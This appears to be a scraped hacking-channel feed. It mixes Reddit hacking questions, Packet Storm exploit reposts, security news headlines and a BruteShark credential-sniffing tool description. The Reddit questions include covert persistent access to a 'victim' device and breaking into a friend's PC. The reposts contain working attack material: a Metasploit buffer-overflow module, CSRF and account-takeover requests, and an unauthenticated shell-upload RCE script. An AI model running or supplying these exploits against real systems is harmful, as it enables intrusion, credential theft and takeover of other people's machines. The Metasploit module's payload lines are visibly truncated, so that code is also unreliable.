hacking: security in practice
What is the optimal way to connect to always traveling device regardless the firewall?

In my LAN I've SSH access ass well x11vnc and want to be able to do the same thing when the victim is outside of the LAN regardless the what type of a network/firewall victim use for connection at the time. I understand that to be able to bypass all the firewall regardless the network victim would have to initiate connection first to some kind of a server - RPI or some small VPS with at least Wireguard VPN server running.

This is learning project and I have full physical access to victims system(ubuntu and macos), there are few things that comes to my mind but I'm not sure if that's the best way:

1. On victims device I would run Cron job every 5 min executing bash script with:

* init SSH connection (ssh/mosh)?
* init Wireguard connection and create some sort of a split tunnel for attacker only and victim would using regular connection so there would not be any slow down on their side - is that even possible and would I have unrestricted access to the victims underlying network as well or just VPN tunnel?

Does any of this make sense or there are better ways?

submitted by /u/No-Race8789
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
i have ip and location

i have my friend's ip and location how do i access his pc , i want to prank him or smth

submitted by /u/ThatIsNotIllegal
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Friends using each other’s network to learn. Any pointers?

Basically the title. My friend and I have been using each other’s network and computers to learn new techniques such as nmap, SET, and trying to use shells. We both get on a discord call and give each other permission to try “XYZ”.

Does anyone have any experience with this? Learning with a friend? Also, are there any other methods or pointers that we could use that would increase our skills without destroying our systems? We are both using Kali currently. Thanks!

submitted by /u/MifistoScared
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
ALLMediaServer 1.6 Buffer Overflow

https://3.bp.blogspot.com/-Ct9xsH2cBRo/WWlviFueiJI/AAAAAAAAIQc/IuoXrqbibrUTnkZ-3FJLKgVXuEB0NPH5wCLcBGAs/s1600/h92.png
This Metasploit module exploits a stack buffer overflow in ALLMediaServer version 1.6. The vulnerability is caused due to a boundary error within the handling of HTTP request.

MD5 | 61fcfaad6e71b0e3655c316038732c1b

Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ALLMediaServer 1.6 SEH Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow leading to a SEH handler overwrite
in ALLMediaServer 1.6. The vulnerability is caused due to a boundary error
within the handling of a HTTP request. Note that this exploit will only work
against x86 or WoW64 targets, x64 is not supported at this time.
},
'License' => MSF_LICENSE,
'Author' => [
'Hejap Zairy Al-Sharif', # Aka @Matrix07ksa. Remote exploit and Metasploit module
],
'DefaultOptions' => {
'EXITFUNC' => 'process'
},
'Platform' => 'win',
'Arch' => [ARCH_X86],
'Payload' => {
'BadChars' => '\x00\x0a\x0d\xff'
},
'Targets' => [
[
'ALLMediaServer 1.6',
{
'Ret' => 0x0040590B, # POP ESI # POP EBX # RET
'Offset' => 1072
}
],
],
'Privileged' => false,
'DisclosureDate' => '2022-04-01',
'DefaultTarget' => 0,
'References' => [
['CVE', '2022-28381'],
['URL', 'https://github.com/Matrix07ksa/ALLMediaServer-1.6-Buffer-Overflow']
],
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN], # If this fails the service will go down and will not restart.
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([Opt::RPORT(888)])
end

def exploit
connect
buffer = ''
buffer <<
buffer <<
buffer <<
buffer <<
buffer <<
print_status('Sending payload to exploit MediaServer...')
sock.put(buffer)
print_status('Sent payload...hopefully we should get a shell!')
handler
disconnect
end
end

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online Banquet Booking System 1.0 Cross Site Request Forgery

https://1.bp.blogspot.com/-5p3p8L1fqP0/WWlvePVRIQI/AAAAAAAAIPs/HQNau6TSJkE3hBLTqqPcfPLddrlr7m4uACLcBGAs/s1600/h81.png
Online Banquet Booking System version 1.0 suffers from a cross site request forgery vulnerability.

MD5 | 5440ce3decaa8c6b0d1937f92bf1b8c6

Download
# Exploit Title: Online Banquet Booking System - 'change admin credentials' Cross-Site Request Forgery (CSRF)
# Date: 04/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/online-banquet-booking-system-using-php-and-mysql/
# Version: 1.0
# Tested on: XAMPP, Linux
# Contact: https://twitter.com/dmaral3noz

# Description :

The application is not using any security token to prevent it against CSRF. Therefore, malicious user can change admin credentials by using crafted post request.
# HTTPS Request :

POST /obbs/admin/admin-profile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
Origin: http://localhost
Connection: close
Referer: http://localhost/obbs/admin/admin-profile.php
Cookie: PHPSESSID=5lotcnigq4mddq3rr6tnnlvn3e
Upgrade-Insecure-Requests: 1

adminname=Admin&username=admin&email=admin%40gmail.com&mobilenumber=5689784589&submit=
# Poc Html :

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Gadget Store Management System 1.0 Shell Upload

https://2.bp.blogspot.com/-7dI_F0yeiSk/WWlvAqxVj9I/AAAAAAAAIKQ/m4aOGdGGTmo7o3qANzxUijwjE_G1NHOSQCLcBGAs/s1600/h123.png
Gadget Store Management System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 618d941b3d6464f3d75c691a3e8d600e

Download
# Exploit Title: Gadget Store Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 04/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.campcodes.com/
# Software Link: https://www.campcodes.com/projects/php/gadget-store-management-system/
# Version: 1.0
# Tested on: XAMPP, Linux
# Contact: https://twitter.com/dmaral3noz
*- url "http://localhost:80/gadgetsdb/addproduct.php"
*- Path File : http://localhost/gadgetsdb/upload/shell.php

---------------------------------------------------
#!/bin/env python3
import requests

print ('''
####################################################################################################
# Gadget Store Management System 1.0 - Remote Code Execution (Unauthenticated) #
# BY:Saud Alenazi #
# 0xSaudi #
####################################################################################################
''')

url = "http://localhost:80/gadgetsdb/addproduct.php"

saud0 = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------4587377838466971711694098865", "Origin": "http://localhost", "Connection": "close", "Referer": "http://localhost/gadgetsdb/product.php", "Upgrade-Insecure-Requests": "1"}
saud1 = "-----------------------------4587377838466971711694098865\r\nContent-Disposition: form-data; name=\"pname\"\r\n\r\ntest\r\n-----------------------------4587377838466971711694098865\r\nContent-Disposition: form-data; name=\"category\"\r\n\r\n4\r\n-----------------------------4587377838466971711694098865\r\nContent-Disposition: form-data; name=\"price\"\r\n\r\n100\r\n-----------------------------4587377838466971711694098865\r\nContent-Disposition: form-data; name=\"photo\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n\r\n\r\n\r\n-----------------------------4587377838466971711694098865--\r\n"
requests.post(url, headers=saud0, data=saud1)
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Multi Store Inventory Management System 1.0 Information Disclosure

https://2.bp.blogspot.com/-GUn1a49o67Q/WWlu9F-J_rI/AAAAAAAAIJo/HAAKEGfKUXIq4oSJFA9qEBzdRn_AvSgtACLcBGAs/s1600/h113.png
Multi Store Inventory Management System version 1.0 suffers from an information disclosure vulnerability.

MD5 | b1b49898bd3509d4292368fede14dc54

Download
# Exploit Title: Multi Store Inventory Management System - Information Disclosure
# Date: 04/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.bdtask.com/
# Software Link: https://www.campcodes.com/projects/php/complete-multi-store-inventory-management-system-in-php-mysql/
# Version: 1.0
# Tested on: XAMPP, Windows 10
# Contact: https://twitter.com/dmaral3noz

# Description :

The application allows directory listing and information disclosure of
some sensitive files that can allow an attacker to leverage the disclosed
information.
################################################

PoC Html :
Multi Store Inventory Management System - Information Disclosure

src=http://127.0.0.1/multistore_demo/install/sql/install.sql>

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Multi Store Inventory Management System 1.0 Account Takeover

https://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png
Multi Store Inventory Management System version 1.0 suffers from an account takeover vulnerability due to missing authorization controls.

MD5 | e6feb7f442646bfe2e6bd718321e6b7a

Download
# Exploit Title: Multi Store Inventory Management System - Account Takeover (Unauthenticated)
# Date: 04/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.bdtask.com/
# Software Link: https://www.campcodes.com/projects/php/complete-multi-store-inventory-management-system-in-php-mysql/
# Version: 1.0
# Tested on: XAMPP, Windows 10
# Contact: https://twitter.com/dmaral3noz

# Description :

An attacker can takeover any registered 'Staff' user account by just sending below POST request
By changing the the "id", "email", "password" , "firstname" and "lastname" parameters
#Steps to Reproduce :

1. Send the below POST request by changing "id", "email", "password" parameters.

2. Log in to the user account by changed email and password.
################################################
POST /multistore_demo/dashboard/home/setting HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------246162487211952414471071914687
Content-Length: 1645
Origin: http://localhost
Connection: close
Referer: http://localhost/multistore_demo/dashboard/home/setting
Cookie: ci_session=31504fa8fdcd43505beff1b210056ec12d5d8405
Upgrade-Insecure-Requests: 1

-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="id"

1
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="firstname"

saud
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="lastname"

test
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="email"

s3od@hi.com
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="password"

admin123
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="about"
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="old_image"
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream
-----------------------------246162487211952414471071914687--

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
How to Prepare for Cyber Threats During the Russian Invasion of Ukraine

Remain calm, maintain control, and triage responses appropriately to ensure that the organization can remain resilient against threats during this crisis and through others to come.

Dark Reading: Attacks/Breaches
FIN7 Morphs into a Broader, More Dangerous Cybercrime Group

Mandiant has now tied the group to at least eight unattributed clusters of activity targeting organizations across various industries and regions.

Dark Reading: Attacks/Breaches
What We Can Learn From Lapsus$ Techniques

The group is targeting the biggest weak spot in most security postures: finding anomalous behavior by authorized entities.

Kali Linux Tutorials
BruteShark : Network Analysis Tool

BruteShark is a Network Forensic Analysis Tool (NFAT) that performs deep processing and inspection of network traffic (mainly PCAP files, but it also capable of directly live capturing from a network interface). It includes: password extracting, building a network map, reconstruct TCP sessions, extract hashes of encrypted passwords and even convert them to a Hashcat format in order to perform an offline Brute Force attack.

The main goal of the project is to provide solution to security researchers and network administrators with the task of network traffic analysis while they try to identify weaknesses that can be used by a potential attacker to gain access to critical points on the network.

Two BruteShark versions are available, A GUI based application (Windows) and a Command Line Interface tool (Windows and Linux).
The various projects in the solution can also be used independently as infrastructure for analyzing network traffic on Linux or Windows machines. For further details see the Architecture section.

The project was developed in my spare time to address two main passions of mine: software architecture and analyzing network data.

I love to get feedbacks from BruteShark users, your opinion is important to me! Feel free to contact me on contact.oded.shimon@gmail.com or create new issue.

Please https://s.w.org/images/core/emoji/13.1.0/72x72/2b50.png this repository if this project helped you! Also, if you’re feeling generous, you can buy me a coffe What it can do* Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP…)
* Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest…)
* Build visual network diagram (Network nodes, Open Ports, Domain Users)
* Extract DNS queries
* Reconstruct all TCP & UDP Sessions
* File Carving
* Extract Voip calls (SIP, RTP) DownloadWindows* Prerequisites:
* Npcap driver (Wireshark installs one of this by default)
* .NET Core Runtime (Note that you have to install the proper runtime regard to your needs, that means .NET Core Desktop Runtime for BruteSharkDesktop and .NET Core Runtime for BruteSharkCli).

* For desktop version download BruteSharkDesktop Windows Installer (64 Bit).
* For CLI version download BruteSharkCli Windows 10 Executable. Linux* Prerequisites: libpcap driver
* Download BruteSharkCli and just run it

wget https://github.com/odedshimon/BruteShark/releases/latest/download/BruteSharkCli
./BruteSharkCli ExamplesVideosBuilding a network map
https://user-images.githubusercontent.com/18364847/131922221-5714f351-85f7-4490-bec9-8da4339b66b3.mp4
BruteSharkCli Usage Example – Extract Multiple Passwords and Hashes (also available at youtube)
https://user-images.githubusercontent.com/18364847/131924013-8b2aa18b-0941-456e-a09d-799902554166.mp4 Hashes Extractinghttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiklJjT9POPSqn7-Q6TGK2KfZujNh52K0s1vgfXTDru3UC82CXonmzeEY3FGHixc4Zk5hT6wKuHCsCQj2VYvLdraw8tGsDcA60PxeGa3K-l2_y2nu8Sg4NjtlGOmVPg_VEfmoQx_ome8jtrM_zG9lUqa2QQAhBFO9lCXgA1niECzs-3JxhzsCEqql_T/s1364/1.png
Usage

In general, it is recommended load, run and explore the results.
Example PCAP files containing scenarios that demonstrates all BruteShark capabilities can be downloaded from here.
Note that analyzing network traffic is an operation that consumes time and resources, so it is recommended to select only the required modules when large files are loaded.
Particular attention should be paid to the “Build TCP Sessions” / “Build UDP Sessions” options. BruteSharkDesktopThe GUI is pretty self-explanatory, just load the wanted files, configure the wanted modules and press the run button. BruteSharkCliBruteSharkCli is the CLI version of BruteShark for Linux & Windows users. It has all the features of BruteSharkDesktop and designed to operate f[...]

___________________________
@hacking_Attack
@Hacking_Video

rom a shell. As a classic CLI tool it works by getting all the relevant parameters for the processing and then printing the results to stdout or files.

Print the help menu:

BruteSharkCli –help

Get credentials from all files in a directory (passwords and hashes will be printed to stdout):

BruteSharkCli -m Credentials -d “C:\Users\King\Desktop\Pcap Files”

Get credentials from all files in a directory and also export extracted hashes (if found) to Hashcat input files.

BruteSharkCli -m Credentials -d C:\Users\King\Desktop\Pcap_Examples -o C:\Users\King\Desktop\Results

Run multiple modules on all files in a directory and also export all the results.

BruteSharkCli -m Credentials,NetworkMap,FileExtracting -d C:\Users\King\Desktop\Pcap_Examples -o C:\Users\King\Desktop\Results

Sniff an interface named “Wi-Fi”, run multiple modules and also export all the results to a directory (the results will be exported only when stopping the sniffer by hitting CTRL + C).

BruteSharkCli -l Wi-Fi -m Credentials,NetworkMap,FileExtracting,DNS -o C:\Users\King\Desktop\Test Export ModulesBruteShark is a modular tool, designed for expansion. Credentials ModuleThis module is responsible for extracting and encoding usernames and passwords as well as authentication hashes. In fact this module is responsible for updating two display tables, passwords table and hashes table. While usernames and passwords are straight forward to use, hashes most often used in more complex attacks like pass-the-hash or by brute-forcing them to get the password. BruteShark is integrated with Hashcat so all the hashes extracted can be converted to a Hashcat input file.
ProtocolHash TypeHascat Mode (-m)HTTPHTTP-Digest11400SMTP\IMAPCRAM-MD516400NTLM (e.g. SMB)NTLMv15500NTLM (e.g. SMB)NTLMv25600KerberosAS-REQ etype 237500KerberosAS-REP etype 2318200KerberosTGS-REP etype 2313100Kerberos (AES128)TGS-REP etype 1719600Kerberos (AES256)TGS-REP etype 1819700 Network Map ModuleThis module is responsible for building the network map by identifying components in the network and the connections between them. The network map can be exported to two JSON files, one file contains all the connections in the network and one contains all the endpoints and the related information about them (like open ports, DNS mappings etc.). Those files can be used for analysis with external tools such as Neo4j.

This module tries to extract files from UDP / TCP sessions (Therefore, note that in order for this module to be effective, the “Build TCP Sessions” / “Build UDP Sessions” should be turn on). Currently this module supports classic forensics techniques of file carving by “Header-Footer” algorithm which is effective for files with known file header and footer like JPG, PNG, PDF. Voip Calls ModuleThis module extracts Voip calls from SIP & RTP protocols. The extracted calls can be exported as raw audio files and can be played using a proper audio player (like Audacity) ArchitectureAll BruteShark projects are implemented using .Net Coreand .Net Standardfor modern and cross platform support. The solution is designed with three layer architecture, including a one or more projects at each layer – DAL, BLL and PL. The separation between layers is created by the fact that each project refers only its own objects. PcapProcessor (DAL)As the Data Access Layer, this project is responsible for reading raw PCAP files using appropriate drivers (WinPcap, libpcap) and the amazing wrapper library SharpPcap by Chris Morgan. Can analyze a list of files at once, and provides additional features like reconstruction of all TCP Sessions (using the awesome project TcpRecon). PcapAnalyzer (BLL)The Business Logic Layer, responsible for analyzing network information (packet, TCP Session etc.), implements a pluggable mechanism. Each plugin is basically a class that implements the interface IModule. All plugins are loaded using reflection:

private void _initilyzeModulesList()
{[...]

___________________________
@hacking_Attack
@Hacking_Video

// Create an instance for any available modules by looking for every class that
// implements IModule.
this._modules = AppDomain.CurrentDomain.GetAssemblies()
.SelectMany(s => s.GetTypes())
.Where(p => typeof(IModule).IsAssignableFrom(p) && !p.IsInterface)
.Select(t => (IModule)Activator.CreateInstance(t))
.ToList();
// Register to each module event.
foreach(var m in _modules)
{
m.ParsedItemDetected += (s, e) => this.ParsedItemDetected(s, e);
} BruteSharkDesktop (PL)Desktop application for Windows based on WinForms. Uses a cross-cutting project by the meaning it referrers both the DAL and BLL layers. This is done by composing each of the layers, register to their events, when event is triggered, cast the event object to the next layer equivalent object, and send it to next layer.

public MainForm()
{
InitializeComponent();
_files = new HashSet();
// Create the DAL and BLL objects.
_processor = new PcapProcessor.Processor();
_analyzer = new PcapAnalyzer.Analyzer();
_processor.BuildTcpSessions = true;
// Create the user controls.
_networkMapUserControl = new NetworkMapUserControl();
_networkMapUserControl.Dock = DockStyle.Fill;
_sessionsExplorerUserControl = new SessionsExplorerUserControl();
_sessionsExplorerUserControl.Dock = DockStyle.Fill;
_hashesUserControl = new HashesUserControl();
_hashesUserControl.Dock = DockStyle.Fill;
_passwordsUserControl = new GenericTableUserControl();
_passwordsUserControl.Dock = DockStyle.Fill;
// Contract the events.
_processor.TcpPacketArived += (s, e) => _analyzer.Analyze(Casting.CastProcessorTcpPacketToAnalyzerTcpPacket(e.Packet));
_processor.TcpSessionArived += (s, e) => _analyzer.Analyze(Casting.CastProcessorTcpSessionToAnalyzerTcpSession(e.TcpSession));
_processor.FileProcessingStarted += (s, e) => SwitchToMainThreadContext(() => OnFileProcessStart(s, e));
_processor.FileProcessingEnded += (s, e) => SwitchToMainThreadContext(() => OnFileProcessEnd(s, e));
_processor.ProcessingPrecentsChanged += (s, e) => SwitchToMainThreadContext(() => OnProcessingPrecentsChanged(s, e));
_analyzer.ParsedItemDetected += (s, e) => SwitchToMainThreadContext(() => OnParsedItemDetected(s, e));
_processor.TcpSessionArived += (s, e) => SwitchToMainThreadContext(() => OnSessionArived(Casting.CastProcessorTcpSessionToBruteSharkDesktopTcpSession(e.TcpSession)));
_processor.ProcessingFinished += (s, e) => SwitchToMainThreadContext(() => OnProcessingFinished(s, e));
InitilizeFilesIconsList();
this.modulesTreeView.ExpandAll();
} Download

___________________________
@hacking_Attack
@Hacking_Video